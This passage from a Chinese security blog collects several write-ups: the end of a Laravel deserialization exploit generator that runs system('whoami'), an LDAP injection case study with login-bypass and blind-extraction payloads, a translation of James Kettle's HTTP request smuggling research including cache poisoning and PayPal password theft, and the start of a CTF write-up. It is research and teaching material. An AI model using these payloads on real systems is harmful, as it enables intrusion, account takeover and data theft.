            $this->event = $event;
        }

    }

    class BroadcastEvent
    {
      protected $connection;

      public function __construct($connection)
      {
        $this->connection = $connection;
      }
    }

}

namespace Illuminate\Bus{
    class Dispatcher{
        protected $queueResolver;

        public function __construct($queueResolver)
        {
          $this->queueResolver = $queueResolver;
        }

    }
}

namespace{
    $command = new Illuminate\Broadcasting\BroadcastEvent("whoami");

    $dispater = new Illuminate\Bus\Dispatcher("system");

    $PendingBroadcast = new Illuminate\Broadcasting\PendingBroadcast($dispater,$command);

    echo urlencode(serialize($PendingBroadcast));

}

只不过是没有回显,需要我们可以外带出去,这里调试的结果成功执行system获取whoami为hpdoger
image_1dho0phn5uka1c5316dv1g8n1ckr4n.png-351.9kB

从一次漏洞挖掘入门ldap注入

从一次漏洞挖掘入门ldap注入

原文首发于先知:https://xz.aliyun.com/t/5689

在最近的一次测试中,随缘摸到了一个sso系统,留给前台的功能只有登陆。

没有验证码,但是登陆点强制要求每个用户更改强密码,而且除了管理员和测试账号其他大部分都是工号形式,所以不考虑撞库。直接fuzz一把梭

测试过程中发现username对于下面payload会存在两种不同回显
image_1dfitlu921a2l2qg1qlf1ulrpaom.png-64.6kB

image_1dfito82tqcipm01gsb8vt87g13.png-70.4kB

当时我并不理解这种payload是什么库的数据格式。但是看到存在”!”字符时,页面的回显是不同的,而”!”在绝大多数语言中都是取反的表达形式,自然会产生不同的布尔值,那么无疑就是个xxx注入点了

何为LDAP

通过payload的类型,看到是经典的ldap注入语句。一种老协议和数据存储形式了

LDAP协议

LDAP(Lightweight Directory Access Protocol):即轻量级目录访问协议。是一种运行于TCP/IP之上的在线目录访问协议,主要用于目录中资源的搜索和查询。使用最广泛的LDAP服务如微软的ADAM(Active Directory Application Mode)和OpenLDAP

LDAP存储

MySQL数据库,数据都是按记录一条条记录存在表中。而LDAP数据库,是树结构的,数据存储在叶子节点上。

LDAP目录中的信息是按照树形结构组织的:

dn:一条记录的位置
dc:一条记录所属的区域
ou:一条记录所属的组织
cn/uid:一条记录的名字/ID

这种树结构非常有利于数据的查询。首先要说明是哪一棵树(dc),然后是从树根到目标所经过的所有分叉(ou),最后就是目标的名字(cn/uid),借用一张图来表明结构如下:

image_1dfivc13p1s9a19421h52facl6120.png-74.2kB

条目&对象类&属性

  • 条目(entry):是目录中存储的基本信息单元,上图每一个方框代表一个entry。一个entry有若干个属性和若干个值,有些entry还能包含子entry

  • 对象类(obejectclass):对象类封装了可选/必选属性,同时对象类也是支持继承的。一个entry必须包含一个objectClass,且需要赋予至少一个值。而且objectClass有着严格的等级之分,最顶层是top和alias。例如,organizationalPerson这个objectClass就隶属于person,而person又隶属于top
    image_1dfj1uep3pjh32v1bbe1oop16jk2d.png-11.8kB

  • 属性(atrribute):顾名思义,用来存储字段值。被封装在objectclass里的,每个属性(attribute)也会分配唯一的OID号码

LDAP查询语句

一个圆括号内的判断语句又称为一个过滤器filter。

( "&" or "|" (filter1) (filter2) (filter3) ...) ("!" (filter))

逻辑与&

(&(username=Hpdoger)(password=ikun))

查找name属性为Hpdoger并且password属性值为ikun的所有条目

逻辑或|

(|(username=Hpdoger)(displayname=Hpdoger))

查找username或者displayname为Hpdoger的所有条目

特殊说明

除使用逻辑操作符外,还允许使用下面的单独符号作为两个特殊常量

(&)     ->Absolute TRUE 
(|)     ->Absolute FALSE 
*       ->通配符

另外,默认情况下,LDAP的DN和所有属性都不区分大小写,即在查询时:

(username=Hpdoger) <=> (username=HPDOGER)

LDAP注入

由于LDAP的出现可以追溯到1980年,关于它的漏洞也是历史悠久。LDAP注入攻击和SQL注入攻击相似,利用用户引入的参数生成LDAP查询。攻击者构造恶意的查询语句读取其它数据/跨objectclass读取属性,早在wooyun时代就有师傅详细的剖析了这类漏洞。

上文说到LDAP过滤器的结构和使用得最广泛的LDAP:ADAM和OpenLDAP。然而对于下面两种情况

无逻辑操作符的注入

情景:(attribute=$input)

我们构造输入:$input=value)(injected_filter

代入查询的完整语句就为:

(attribute=value)(injected_filter)

由于一个括号内代表一个过滤器,在OpenLDAP实施中,第二个过滤器会被忽略,只有第一个会被执行。而在ADAM中,有两个过滤器的查询是不被允许的。

因而这类情况仅对于OpenLDAP有一定的影响。

例如我们要想查询一个字段是否存在某值时,可以用$input=x*进行推移,利用页面响应不同判断x*是否查询成功

带有逻辑操作符的注入

(|(attribute=$input)(second_filter))
(&(attribute=$input)(second_filter))

此时带有逻辑操作符的括号相当于一个过滤器。此时形如value)(injected_filter)的注入会变成如下过滤器结构

(&(attribute=value)(injected_filter))(second_filter)

虽然过滤器语法上并不正确,OpenLDAP还是会从左到右进行处理,忽略第一个过滤器闭合后的任何字符。一些LDAP客户端Web组成会忽略第二个过滤器,将ADAM和OpenLDAP发送给第一个完成的过滤器,因而存在注入。

举个最简单的登陆注入的例子,如果验证登陆的查询语句是这样:

(&(USER=$username)(PASSWORD=$pwd)) 

输入$username = admin)(&)(使查询语句变为

(&(USER=admin)(&))((PASSWORD=$pwd)) 

即可让后面的password过滤器失效,执行第一个过滤器而返回true,达到万能密码的效果。

后注入分析

注入大致分为and、or类型这里就不赘述,感兴趣的可以看之前wooyun的文章:
LDAP注入与防御剖析

还有一个joomla的一个userPassword注入实例:
Joomla! LDAP注入导致登录认证绕过漏洞

回到实例

大致了解注入类型,就开始了第一轮尝试

当通配符匹配到用户名时返回
image_1dfj9gu7f1d261ad2o9jao3q082q.png-40.1kB

用户名不存在时返回
image_1dfj9iml33968bod9etnogsu3n.png-49.7kB

构造用户名恒真username=admin)(%26&password=123

image_1dfj9mj071drl59b37j21teu544.png-49.7kB

说明它判断用户的形式并不是(&(USER=$username)(PASSWORD=$pwd)),因为我们查到的用户名是true,但是验证密码false

由于自己也没搞过LDAP的开发..就盲猜后端应该就是这种情况:
执行了(&(USER=$username)(objectclass=xxx))后,取password与$password进行对比

ACTION

那么首先要知道它继承了哪些objectclass?因为树结构都有根,使我们能顺藤摸瓜。首先是top肯定存在,回显如下:
image_1dfje9v39cu01n95u4fqln1ed9.png-36.9kB

但是top的子类太多了,先fuzz一下objectclass的值缩小范围,payload:

username=admin)(objectclass%3d$str

发现存在personuser两个objectclass

再fuzz一下attribute得到的值如下:

username=admin)($str%3d*

image_1dfjehfm71qa71ri11b481mj9183m.png-80.2kB

凭借这些信息去LDAP文档里溯继承链,先去找user类,继承自organizationalPerson
image_1dfjeub3c1dfvnb5dv6k61i7l13.png-67.3kB

同理organizationalperson又是继承自person的,person继承自top,最终的继承链为:

top->person->organizationalperson->user

也就是说这些类存在的属性都可能被调用。很遗憾的是我并没有fuzz到password类型参数,一般来说password会以userPassword的形式存储在person对象中,很多基于ldap的开发demo中也是这样写的。

但是userPassword毕竟也只是person类可选的属性,开发大概率是改名或者重写属性了,这也是这个漏洞没有上升到严重危害的瓶颈点
image_1dfki06dp1sqm147onc11odt3at13.png-127.9kB

不过依然可以注出一些有用的数据。例如所有用户的用户名、邮箱、手机号、姓名、性别等等,说不定以后可以越权修改某账号性别呢-3-

盲注mobile

尝试注入管理员的手机号mobile

username=admin)(mobile=%s*&password=123

image_1dfkgoopj19s4kkkq0sulvmp4m.png-52.6kB

利用通配符不断添加数字,同理邮箱也可以注出来,与sql盲注的思路相同。
image_1dfl7ap4k1pna18bk17ec24166o2n.png-42.3kB

盲注username

毕竟对于sso,收集username是很有用的信息。那么问题来了,我们是可以通过生成字典来遍历存在的用户名,但是这个工作量是指数倍的增长,一天能跑完一个字母开头的就不错了,而且浪费了通配符的作用。

可是又想做到无限迭代把所有用户一个不漏的跑完,passer6y师傅提醒我用笛卡尔积

最后画出来的流程图大致如下:
image_1dfkks6d86j6ra51m7821d3831g.png-87.6kB

最后测试用户大概有1w多,然而这些大部分是测试帐号,未授权的情况下也不能跑具体数据,但也算是验证了思路的可执行性。

总结

网上关于这类漏洞的fuzz思路也比较久远了,第一次接触这种漏洞,若文章思路如果有什么不对的地方还请师傅们斧正。自己对这类漏洞的姿势理解很浅,现在漏洞已经修复,但是如果有师傅对于password的注入有想法,可以私下交流一下

相关链接

https://wooyun.js.org/drops/LDAP%E6%B3%A8%E5%85%A5%E4%B8%8E%E9%98%B2%E5%BE%A1%E5%89%96%E6%9E%90.html
https://www.cnblogs.com/pycode/p/9495808.html
https://zhuanlan.zhihu.com/p/32732045

HTTP Desync Attacks-Smashing into the Cell Next Door

HTTP Desync Attacks-Smashing into the Cell Next Door

文章转载议题:https://www.blackhat.com/us-19/briefings/schedule/index.html#http-desync-attacks-smashing-into-the-cell-next-door-15153(相关文章资源放到文章结尾)

James Kettle - james.kettle@portswigger.net - @albinowax

Abstract

传统上,HTTP请求被视为独立的独立实体。在本文中,我将探讨一种远程、未经身份验证的攻击者能够打破这种隔离并将其请求转接到其他人身上的技术。通过这种技术,我可以在众多商业和军事系统的WEB基础应用上扮演一位操作者,在他们的虚拟环境中使用漏洞,并且在bug bounties中获得超过6万美元

将这些目标作为案例研究,我将向您展示如何巧妙地修改受害者的请求,以将其路由到恶意领域,调用有害的响应。我还将演示在您自己的请求中使用后端重组,攻击基于前端的各种信任,获得对内部API的最大特权访问,投毒Web缓存,并危及paypal的登录页面。

HTTP Request Smuggling(后文称为请求走私)最初是由WatchFire1于2005年记录下来的,但由于其困难和附带损害的可怕名声,使得当Web服务的敏感性增常期间,它大多被忽视。除了新的攻击变种和利用途径之外,我将帮助您使用定制的开源工具和一种改进的方法来处理这一遗留问题,以最小的风险进行可靠的黑盒检测、评估和利用

Core concepts

自HTTP/1.1以来,通过一个底层TCP或SSL/TLS套接字发送多个HTTP请求被广泛支持。这个协议非常简单——HTTP请求只需背靠背地放置,服务器解析报头就可以知道每个报头的结束位置和下一个报头的开始位置。这经常与HTTP pipeline2混淆,后者是少见的类型,在本文的攻击描述中不予介绍。

这本身是无害的。然而,现代网站是由一系列的系统组成的,都是通过HTTP进行对话的。此多层体系结构接收来自多个不同用户的HTTP请求,并通过单个TCP/TLS连接将其路由:
image_1dhtfhnrdqvspfo15j4no1tuqp.png-22.8kB

这意味着,后端与前端关于“每条消息在哪里结束”达成一致是至关重要的。否则,攻击者可能会发送一条不明确的消息,使后端将其解释为两个不同的HTTP请求

image_1dhtfsok51vkp1c6g7rb1sku1gnm1m.png-26kB

这使攻击者能够在下一个合法用户请求开始时预先处理任意内容。在本文中,走私内容将被称为“前缀”,并以橙色突出显示。

让我们假设前端浏览器优先处理第一个内容长度头,后端优先处理第二个内容长度头。从后端的角度来看,TCP流可能看起来像:

image_1dhtg6sgu16rlhn09bi1779smo3q.png-21.7kB

在引擎中,前端浏览器将蓝色和橙色数据转发到后端,后端在发出响应之前只读取蓝色内容。这使得后端套接字受到橙色数据的污染。当合法的绿色请求到达时,它最终附加到橙色内容上,导致意外的响应。

在这个例子中,注入的“G”会破坏绿色用户的请求,他们可能会得到“未知方法GPOST”的响应。

本文中的每个攻击都遵循这个基本格式。WatchFire论文描述了一种称为“反向请求走私”的替代方法,但这依赖于前端和后端系统之间的管道连接,因此很少有选择。

在现实生活中,双content-length技术很少起作用,因为许多系统明智地拒绝具有多个内容长度头的请求。相反,我们将使用分块编码攻击系统-这次我们利用RFC2616规范:

如果接收的消息同时包含传输编码头字段和内容长度头字段,则必须忽略后者

由于规范默许使用传输编码(分块编码和内容长度)处理请求,因此很少有服务器拒绝此类请求。每当我们找到一种方法,从一个服务器上将传输编码头隐藏在一个链中的时,它将返回到使用内容长度,并且我们可以取消整个系统的同步。

您可能不太熟悉分块编码,因为像Burp Suite这样的工具会自动将分块的请求/响应缓冲到常规消息中,以便于编辑。在分块的消息中,正文由0个或多个分块组成。每个块由块大小、换行符和块内容组成。消息以0大小的块终止。以下是使用分块编码进行的简单失步攻击:

image_1dhthci68dal13houlsiv8brk47.png-22.3kB

我们没有在这里隐藏传输编码头,因此此漏洞主要适用于前端根本不支持分块编码的系统,这在使用内容交付网络Akamai的许多网站上都可以看到。

如果后端不支持分块编码,我们需要翻转偏移量:
image_1dhthmclj6hn11mehtq1ko2ikn4k.png-24.6kB

这种技术在相当多的系统上都起作用,但是我们可以通过使传输编码头稍微难以被发现来利用更多的资源,这样一个系统就看不到它。这可以通过使用服务器的HTTP解析中的差异来实现。下面是一些只有部分服务识别传输编码的请求示例:分块头。在本研究中,每个都成功地用于攻破至少一个系统:

image_1dhtj1skk1mim1naa1l2a1toq1ig051.png-52kB

如果前端和后端服务器都有这些处理,那么每个处理都是无害的,否则都是一个重大威胁。有关更多技术,请查看Regilero正在进行的research4.。我们稍后将使用其他技术查看实际示例。

Methodology

请求走私背后的理论是直截了当的,但是不受控制变量的数量和我们对前端所发生事情的完全不了解会导致复杂的情况。

我已经开发了应对这些挑战的技术和工具,并将它们组合成以下简单的方法,我们可以利用这些方法来追查请求的走私漏洞并证明其影响:
image_1dhtjaght12mlo3grs1q0rtko5e.png-19.7kB

Detect

检测请求走私漏洞的明显方法是发出一个含糊不清的请求,然后发出一个正常的“受害者”请求,然后观察后者是否得到意外的响应。但是,这极易受到干扰;如果另一个用户的请求在受害者请求之前击中中毒的套接字,那么他们将得到损坏的响应,我们将不会发现该漏洞。这意味着,在流量很大的网站,如果不在过程中利用大量用户去测试,就很难证明存在请求走私漏洞。即使在没有其他流量的站点上,您也会面临应用程序级异常终止连接所导致的错误否定的风险。

为了解决这个问题,我开发了一种检测策略,它使用一系列消息,使得易受攻击的后端系统挂起并超时连接。这种技术几乎没有误报,可以抵抗应用程序级的行为从而导致的误报,最重要的是,它几乎没有影响其他用户的风险。

假设前端服务器使用Content-Length头,后端使用Transfer-Encoding头。我简称这个目标为cl.te。我们可以通过发送以下请求来检测潜在的请求走私:

image_1dhtjsm7t4jo1tun14v4a174ri5r.png-17.5kB

由于内容长度较短,前端将只转发蓝色文本,后端将在等待下一个块大小时超时。这将导致可观察到的时间延迟。

如果两个服务器都是同步的(te.te或cl.cl),则前端将拒绝该请求,或者两个系统都将无害地处理该请求。最后,如果从另一个角度(te.cl)执行去同步,由于块大小“q”无效,前端将拒绝消息而不将其转发到后端。这可以防止后端套接字中毒。

我们可以使用以下请求安全地检测te.cl去同步:
image_1dhtk3jth1s2k11e51o9h15291qqh68.png-17.4kB

由于“0”分块的终止,前端将只转发蓝色文本,后端将超时等待X到达。

如果Desync以另一种方式发生(cl.te),那么这种方法将使用”X”毒害后端套接字,可能会危害合法用户。幸运的是,通过始终运行首先检测方法,我们可以排除这种可能性。

这些请求可以针对头解析中的任意差异进行调整,并用于通过取消Desynchronize5自动识别请求走私漏洞-一个开发用于帮助此类攻击的开源Burp Suite 扩展。它们现在也用于Burp Suite的scanner。尽管这是一个服务器级的漏洞,但单个域上的不同端点通常路由到不同的目标,因此该技术应单独应用于每个端点。

Confirm

在这一点上,您已经尽了最大努力,而不会给其他用户带来副作用的风险。然而,许多客户不愿意在没有进一步证据的情况下认真对待报告,所以这就是我们将要克服的。证明请求走私的全部危害的下一步是证明后端套接字中毒是可能的。为此,我们将发出一个旨在毒害后端套接字的请求,然后发出一个希望成为毒害受害者的请求,明显地改变了响应。

如果第一个请求导致错误,后端服务器可能会决定关闭连接,丢弃中毒缓冲区并破坏攻击。尝试通过将设计用于接受POST请求的端点作为目标,并保留任何预期的GET/POST参数来避免这种情况。

有些站点有多个不同的后端系统,前端查看每个请求的方法、URL和头,以决定将其路由到何处。如果受害者请求路由到与攻击请求不同的后端,那么攻击将失败。因此,“攻击”和“受害者”请求最初应尽可能相似。

如果目标请求看起来像:
image_1dhv43t4jmhm12pc1rdo1oe61bn86l.png-23.2kB

那么,一次CL.TE毒害攻击尝试看起来像是:
image_1dhv465pn1if7lah1iqrh5st572.png-43.3kB

如果攻击成功,受害者请求(绿色)将得到404响应。

te.cl攻击看起来很相似,但是需要一个封闭块,这意味着我们需要自己指定所有的头,并将受害者请求放在正文中。确保前缀中的内容长度略大于正文:

image_1dhv4boe01rjp1s361dut1c8o8aj7f.png-59.1kB

如果一个站点是运行的,另一个用户的请求可能会击中您之前投毒的套接字,这将使您的攻击失败,并可能使用户不安。因此,此过程通常需要进行几次尝试,在高流量站点上可能需要数千次尝试。所以请谨慎和克制行为

Explore

我将使用一系列真实的网站演示其余的方法。像往常一样,我专门针对那些明确表示愿意通过运行bug奖励计划与安全研究人员合作的公司。多亏了大量涌现的私人程序和不打补丁的习惯,我不得不编写很多案例。在明确声明网站的地方,请记住,它们是少数能够抵御这种攻击的安全网站之一。

现在我们已经确定套接字投毒是可能的,下一步是收集信息,这样我们就可以发动一次全面的攻击。

前端通常会附加和重写HTTP请求头,如x-forwarded-host和x-forwarded-for,以及许多经常难以猜测名称的自定义头。我们的走私请求可能缺少这些头,这可能导致意外的应用程序行为和失败的攻击。

幸运的是,有一个简单的策略另辟蹊径,并且可以看到这些隐藏的header头。这使得我们可以通过手动添加头来恢复功能,甚至可以启用进一步的攻击。

只需在目标应用程序上查找一个反射post参数的页面,对参数进行无序排列,使反射的参数排列最后,稍微增加内容长度,然后将生成的请求进行走私:
image_1dhvv1j72jm7qdm132e1ekoaim7s.png-54.9kB

绿色请求将在其到达login[email]参数之前由前端重写,因此当它被反射回来时,将泄漏所有内部头:

image_1dhvv7g6s1qtlf9ie2l10qs1a8699.png-45.5kB

通过增加Content-Length头,您可以逐步检索更多信息,直到您试图读取超过受害者请求末尾的内容,并且受害者的请求会超时。

有些系统完全依赖于前端系统的安全性,一旦您bypass,您就可以直接为所欲为。在login.new relic.com上,“后端”系统是反代的,因此更改走私的主机头授予我访问不同的新relic系统的权限。最初,我访问的每个内部系统都认为我的请求是通过HTTP发送的,并以重定向方式响应的:

image_1dhvvp3og1rod1iu28cetojpb59m.png-22.2kB

使用前面观察到的x-forwarded-proto头很容易修复:
image_1dhvvq6j81n781hslpqtel1o38a3.png-24.7kB

通过一些目录,我在目标上找到了一个有用的端点:
image_1dhvvt1km1bb81cd82bou11aufag.png-25.3kB

错误消息清楚地告诉我需要某种类型的授权头,但却没有告诉我字段名。我决定尝试前面看到的“x-nr-external-service”头段:
image_1dhvvvrpe1s7v1b1s1sk2ddcml0at.png-29.4kB

不幸的是,这不起作用——它导致了我们在直接访问该URL时已经看到的相同的禁止响应。这表明前端正在使用x-nr-external-service头来指示请求来自Internet,通过走私因此丢失请求头,我们已经诱使系统认为我们的请求来自内部。这是非常有意义的,但没有直接的用处——我们仍然需要缺少的授权头的名称。

此时,我可以将已处理的请求反射技术应用到一系列端点,直到找到一个具有正确请求头的端点。相反,我决定从上一次我的New Relic6中查询一些笔记,这显示了两个非常宝贵的报头-Server-Gateway-Account-Id and Service- Gateway-Is-Newrelic-Admin。使用这些工具,我可以获得对其内部API的完全管理级访问:
image_1di00ssli1mfu1381nml92h1mn4ba.png-78.4kB

New Relic部署了一个修补程序,并将根本原因诊断为F5网关中的一个弱点。据我所知,没有可用的补丁,这意味着在写作的时候这仍然是0day。

Exploit

直接进入内部API确实不错,但它很少是我们唯一的选择。我们还可以针对浏览目标网站的每个人发起大量不同的攻击。

要确定哪些攻击可以应用到其他用户,我们需要了解哪些类型的请求可以被破坏。从“确认”阶段重复套接字中毒测试,但反复调整“受害者”请求,直到它类似于典型的GET请求。您可能会发现,您只能使用某些方法、路径或头毒害请求。另外,尝试从不同的IP地址发出受害者请求-在极少数情况下,您可能会发现您只能对来自同一IP的请求进行毒害。

最后,检查网站是否使用Web缓存-这些可以帮助绕过许多限制,增加我们对哪些资源中毒的控制,并最终增加请求走私漏洞的严重性。

Store

如果应用程序支持编辑或存储任何类型的文本数据,那么利用就非常容易。通过在受害者的请求前加上一个精心设计的存储请求,我们可以让应用程序保存他们的请求并将其显示给我们,然后窃取任何身份验证cookie/headers。下面是一个以Trello为目标的示例,使用其配置文件编辑端点:

image_1di01d7421dui1a81nbepu2btbn.png-54.1kB

一旦受害者的请求到达,它就会保存在我的个人资料中,暴露他们所有的头和cookie:

image_1di01e9oa1c4s19e513t9p564a8c4.png-48.7kB

使用这种技术的唯一主要目的是丢失“&”之后发生的任何数据,这使得从表单编码的post请求中窃取主体很困难。我花了一段时间试图通过使用可选的请求编码来解决这个限制,最终放弃了,但我仍然怀疑这是可能的。

数据存储的机会并不总是如此明显——在另一个网站上,我可以使用“联系我们”表单,最终触发一封包含受害者请求的电子邮件,并获得2500美元的额外收入。

Attack

能够将一个任意前缀应用到其他人的响应中,也打开了另一种攻击途径——触发一个有害的响应。

使用有害反应有两种主要方法。最简单的方法是发出“攻击”请求,然后等待其他人的请求击中后端套接字并触发有害响应。一种更为棘手但更强大的方法是亲自发出“攻击”和“受害者”请求,并希望对受害者请求的有害响应通过Web缓存保存,并提供给访问同一URL的任何其他人-Web缓存中毒。

在以下每个请求/响应片段中,黑色文本是对第二个(绿色)请求的响应。第一个(蓝色)请求的响应被忽略,因为它不相关。

Upgrading XSS

在审计一个SaaS应用程序时,Param Miner7发现了一个名为saml的参数,Burp scaner证实它易受反射XSS的攻击。反射式XSS本身不错,但在规模上很难利用,因为它需要用户交互。

通过请求走私,我们可以对主动浏览网站的随机用户提供包含XSS的响应,从而实现直接的大规模利用。我们还可以访问authentication headers 和仅HTTP cookie,这可能会让我们转到其他域。

image_1di01r6qa1iap8ki1vh0gdg17s9d1.png-70.8kB

Grasping the DOM

www.redhat.com上查找请求走私链的漏洞时,我发现了一个基于DOM的开放重定向,这带来了一个有趣的挑战:
image_1di01vv584rumq9d5r1ormld2de.png-34.5kB

页面上的一些javascript正在从受害者浏览器的查询字符串中读取“redir”参数,但我如何控制它?请求走私使我们能够控制服务器认为查询字符串是什么,但是受害者的浏览器对查询字符串的认知只是了解用户试图访问哪个页面。

我可以通过链接服务器端的非开放重定向来解决这个问题:

image_1di025q9518k91g5dh8drkna2feb.png-70.3kB

受害者浏览器将收到一个301重定向到https://www.redhat.com/assets/x.html?redir=//redat.com@evil.net/,然后执行基于dom的开放重定向并将其转储到evil.net上。

CDN Chaining

有些网站使用多层反向代理和cdn。这给了我们额外的机会去同步,这是一直被赞赏的,它也经常增加严重性

一个目标是不知何故地使用两层Akamai,尽管服务器由同一供应商提供,但仍有可能将它们不同步,因此,在受害者网站的Akamai network中提供不同的内容:
image_1di02gpq91n7jc93pii6hsvseo.png-45.2kB

同样的概念也适用于SaaS提供商——我能够攻破一个建立在知名SaaS平台上的关键网站,将请求定向到建立在同一平台上的不同系统。

‘Harmless’ responses

因为请求走私让我们影响对任意请求的响应,一些通常无害的行为成为可利用的。例如,即使是不起眼的开放式重定向,也可以通过将javascript导入重定向到恶意域来危害帐户。

使用307代码的重定向特别有用,因为在发出post请求后接收307的浏览器将把post重新发送到新的目的地。这可能意味着你可以让不知情的受害者直接将他们的明文密码发送到你的网站。

经典的开放式重定向本身就很常见,但是有一种变体在Web中普遍存在,因为它源于Apache和IIS中的默认行为。它很方便地被认为是无害的,被几乎所有人忽视,因为没有像请求走私这样的伴随的弱点,它确实是无用的。如果尝试访问没有尾随斜杠的文件夹,服务器将使用主机头中的主机名进行重定向以附加斜杠:
image_1di033eund4netio7jsa3nf4f5.png-44.4kB

使用此技术时,请密切关注重定向中使用的协议。您可以使用像x-forwarded-ssl这样的头来影响它。如果它卡在HTTP上,而您攻击的是一个HTTPS站点,那么受害者的浏览器将由于其混合内容保护而阻止连接。有两个已知的例外8-可以完全绕过Internet Explorer的混合内容保护,如果重定向目标在其HSTS缓存中,Safari将自动升级到HTTPS的连接。

Web Cache Poisoning

在尝试对特定网站进行基于重定向的攻击几个小时后,我在浏览器中打开了他们的主页以查找更多的攻击面,并在Dev控制台中发现了以下错误:

image_1di037a5k1iq51f7a19n51jmc600fi.png-18.5kB

无论从哪台机器加载网站,都会发生此错误,并且IP地址看起来非常熟悉。在我的重定向探测期间,在我的受害者请求之前,有人请求了一个图像文件,而中毒的响应被缓存保存了下来。

这是对潜在影响的一个很好的证明,但总的来说并不是一个理想的结果。除了依赖基于超时的检测,没有办法完全消除意外缓存中毒的可能性。也就是说,为了将风险降到最低,你可以:
-确保“受害者”请求有一个缓存阻止程序。

-使用turbo Intruder,尽快发送“受害者”请求。
-尝试创建一个前缀来触发反缓存头的响应,或者一个不太可能被缓存的状态代码。
-在不常用的前端处实施攻击。

Web Cache Deception++

如果我们不尝试减少攻击者/用户混合响应缓存的机会,而是接受它呢?

我们可以尝试用受害者的cookie获取包含敏感信息的响应,而不是使用设计用于导致有害响应的前缀:
image_1di03lb12var1itka221437galfv.png-24.3kB

前端请求:
image_1di03ot516ne1j91u041oh61tu5gs.png-13.1kB

当用户对静态资源的请求到达中毒的套接字时,响应将包含其帐户详细信息,并且缓存将通过静态资源保存这些信息。然后,我们可以通过从缓存中加载/static/site.js来检索帐户详细信息。

这实际上是Web缓存欺骗攻击的一个新变体。它在两个关键方面更强大——它不需要任何用户交互,也不需要目标站点允许您使用扩展。唯一的陷阱是攻击者无法确定受害者的反应将落在何处。

PayPal

由于请求走私连锁缓存中毒,我能够持续劫持众多JavaScript文件,其中之一是在Paypal的登录页面:https://c.paypal.com/webstatic/r/fb/fb-all-prod.pp2.min.js.

image_1di03u9lu1fb2tur1n51ekl9loh9.png-61.8kB

但是有一个问题——PayPal的登录页面使用了script-src的csp,它破坏了我的重定向。
image_1di040r7764spvs1orqvbk96rhm.png-23.4kB

起初,这看起来像是纵深防御的胜利。但是,我注意到登录页面在一个动态生成的iframe中加载了c.paypal.com上的一个子页面。此子页没有使用CSP,还导入了我们的有害JS文件。这使我们完全控制了iframe的内容,但是由于同源策略,我们仍然无法从父页面读取用户的Paypal密码。

image_1di0433272ms1vie1ond1n1p1eqqi3.png-40.2kB

我的同事GarethHeyes随后在paypal.com/us/gifts上发现了一个不使用CSP的页面,并导入了我们中毒的JS文件。通过使用我们的JS重定向c.paypal.com iframe到该URL(并在第三次触发我们的JS),我们最终可以从使用Safari或IE登录的所有人访问父和窃取明文Paypal密码。
image_1di0462kcnfm1ik4v7v19q81ue0ig.png-68.3kB

PayPal通过配置Akamai拒绝包含传输编码的请求:chunked header,快速地解决了这个漏洞,并授予了18900美元的赏金。

几周后,在发明和测试一些新的去同步技术时,我决定尝试使用一个换行的头文件:
image_1di048085cfbp1e3b1hmeeddit.png-5.3kB

这似乎使转移编码头对于Akamai来说不可见,成功绕过,并再次授予我控制Paypal的登录页面。PayPal迅速应用了一个更稳健的解决方案,并获得了令人印象深刻的20000美元。(译者跪了2333)

Demo

另一个目标使用了反向代理链,其中一个没有将’\n’视为有效的头终止符。这意味着他们的网络基础设施中相当大的一部分容易受到走私请求的攻击。我录制了一个演示,演示如何使用非同步来有效地识别和利用Bugzilla安装的副本上的漏洞,该副本包含一些非常敏感的信息。

您可以在本白皮书的在线版本https://portswigger.net/blog/http-desync-attacks9中找到该视频。

Defence

像往常一样,安全很简单。如果您的网站没有负载均衡器、cdn和反向代理,那么这种技术就不是一种威胁。引入的层越多,就越容易受到攻击。

每当我讨论攻击技术时,我都会被问到HTTPS是否可以阻止它。一如既往,答案是“不”。也就是说,通过将前端服务器配置为专门使用HTTP/2与后端系统通信,或者完全禁用后端连接重用,可以解决此漏洞的所有变体。或者,您可以确保链中的所有服务器使用相同的配置运行相同的Web服务器软件。

可以通过重新配置前端服务器来解决此漏洞的特定实例,以便在继续路由之前将不明确的请求规范化。对于不想让客户受到攻击的客户来说,这可能是唯一现实可行的解决方案,CloudFlare和Fastly似乎成功地应用了它。

对于后端服务器来说,正常化请求不是一个选项——它们需要彻底拒绝不明确的请求,并删除关联的连接。由于拒绝请求比简单地使其正常化更可能影响合法流量,因此我建议重点防止通过前端服务器进行请求走私。

当你的工具对你不利时,有效的防御是不可能的。大多数Web测试工具在发送请求时都会自动“更正”内容长度头段,从而使请求无法走私。在BurpSuite中,您可以使用Repeater menu禁用此行为-确保您选择的工具具有同等的功能。此外,某些公司和bug赏金平台通过Squid之类的代理来转发测试人员的流量,以便进行监控。这些将管理测试人员发起的任何请求走私攻击,确保公司对该漏洞类的覆盖率为零。

Conclusion

在多年来一直被忽视的研究基础上,我引入了新的技术来取消服务器的同步,并演示了使用大量真实网站作为案例研究来利用结果的新方法。

通过这一点,我已经证明了请求走私是对Web的主要威胁,HTTP请求解析是一个安全关键的功能,容忍不明确的消息是危险的。我还发布了一个方法论和一个开源工具包,帮助人们审计请求走私,证明其影响,并以最小的风险获得奖金。

这一主题仍在研究中,因此我希望本出版物将有助于在未来几年内激发新的去同步技术和开发。

References

  1. https://www.cgisecurity.com/lib/HTTP-Request-Smuggling.pdf
  2. https://portswigger.net/blog/turbo-intruder-embracing-the-billion-request-attack
  3. https://tools.ietf.org/html/rfc2616#section-4.4
  4. https://regilero.github.io/tag/Smuggling/
  5. https://github.com/portswigger/desynchronize
  6. https://portswigger.net/blog/cracking-the-lens-targeting-https-hidden-attack-surface 7. https://github.com/PortSwigger/param-miner
  7. https://portswigger.net/blog/practical-web-cache-poisoning#hiddenroutepoisoning
  8. https://portswigger.net/blog/http-desync-attacks

议题原文件

https://pan.baidu.com/s/1ycNVD8Y3EIr4ayEnM9eqew

De1CTF-Giftbox题解

De1CTF-Giftbox题解

这次Web题的难度有阶层,SSRF Me是一个验签的绕过调用python的url_open进行ssrf请求、web4是一道n1ctf的原题,也懒得写wp了。还有两道比较难的,一道是ZSX师傅出的calc,统一三个后端的输出结果,过滤了括号。还有一道魔改了ciscn——2019的滑稽云,更改了溢出区的大小+外带结果。

最后就是Giftbox,不得不说,这是我见过最有小情调的ctf题目。做了一个伪unix页面,存在几个bash命令,和一个登陆功能,在登陆处存在sql注入(需要经过双因子认证)。比赛的时候没做出来,趁着赛题没关复现一下(顺便膜爆恩泽师傅orz..)

image_1dhfn1f0b1ogo5fs163rsqk1c0a9.png-979.2kB

双因子认证

这种认证第一次见,其实是调用pyotp模块去验证,随便输入会报错
image_1dhfn759ve4c17uv1eqv1rpq876m.png-203.2kB

